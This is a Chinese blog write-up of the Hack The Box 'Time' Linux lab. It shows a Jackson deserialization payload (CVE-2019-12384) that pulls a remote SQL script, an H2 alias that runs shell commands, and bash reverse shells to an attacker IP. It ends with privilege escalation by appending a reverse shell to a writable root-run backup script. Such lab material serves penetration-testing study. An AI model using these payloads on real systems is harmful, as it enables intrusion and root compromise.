【Hack The Box】linux练习-- time

HTB 学习笔记

【Hack The Box】linux练习-- time


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月24日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

在这里插入图片描述

信息收集

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
|   256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_  256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80

在这里插入图片描述
是一个js美化的
只有一个框可以输入js代码
在这里插入图片描述
也就只是给你改成次行风格

另一种模式尝试一下
发现报错了

在这里插入图片描述

alidation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object

所以后端使用 Java 来验证 JSON,特别是Jackson

Jackson CVE-2019-12384

["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.29/test.sql'"}]

这是利用了 JSON 反序列化漏洞。 在这个概念验证中,他们使用的是 H2 数据库驱动程序(在大多数使用数据库的 Java 部署中应该存在,这是最多的)。 该驱动程序可以运行一个 SQL 脚本,该脚本通常用于支持数据库迁移。

在这里插入图片描述
确实有效
接下来就要只做一个恶意sql文件

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        String[] command = {"bash", "-c", cmd};
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('ping -c 1 10.10.14.29')

在这里插入图片描述
接收到了ping

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        String[] command = {"bash", "-c", cmd};
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"')

在这里插入图片描述

shell->root

下一步就是提权了,我将上传linpeas.sh并且还有pxpy,来分析进程以及一些二进制文件
在这里插入图片描述
/usr/bin/timer_backup.sh
/tmp/hsperfdata_pericles/5951

该计时器上次运行是在四秒前,将在五秒后再次运行。 在 HTB 机器上,任何少于五分钟的计时器都值得一看。
在这里插入图片描述看到存在一个计划任务
我将寻找一下这个文件在哪里

find /etc/systemd/ -name timer_backup.service
得到结果
/etc/systemd/system/timer_backup.service
查看一下
cat /etc/systemd/system/timer_backup.service
[Unit]
Description=Calls website backup
Wants=timer_backup.timer
WantedBy=multi-user.target

[Service]
ExecStart=/usr/bin/systemctl restart web_backup.service

它只是重新启动另一个服务, web_backup.service

在这里插入图片描述
并且是root运行

寻找一下他重启的服务

find /etc/systemd/ -name web_backup.service
在这里插入图片描述也是root运行

查看一下

[Unit]
Description=Creates backups of the website

[Service]
ExecStart=/bin/bash /usr/bin/timer_backup.sh

他调用了/usr/bin/timer_backup.sh

在这里插入图片描述这个脚本对我们是可写的
那就没啥说的了

echo -e '\nbash -i >& /dev/tcp/10.10.14.8/443 0>&1' >> /usr/bin/timer_backup.sh

两个>>添加到最后一行在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值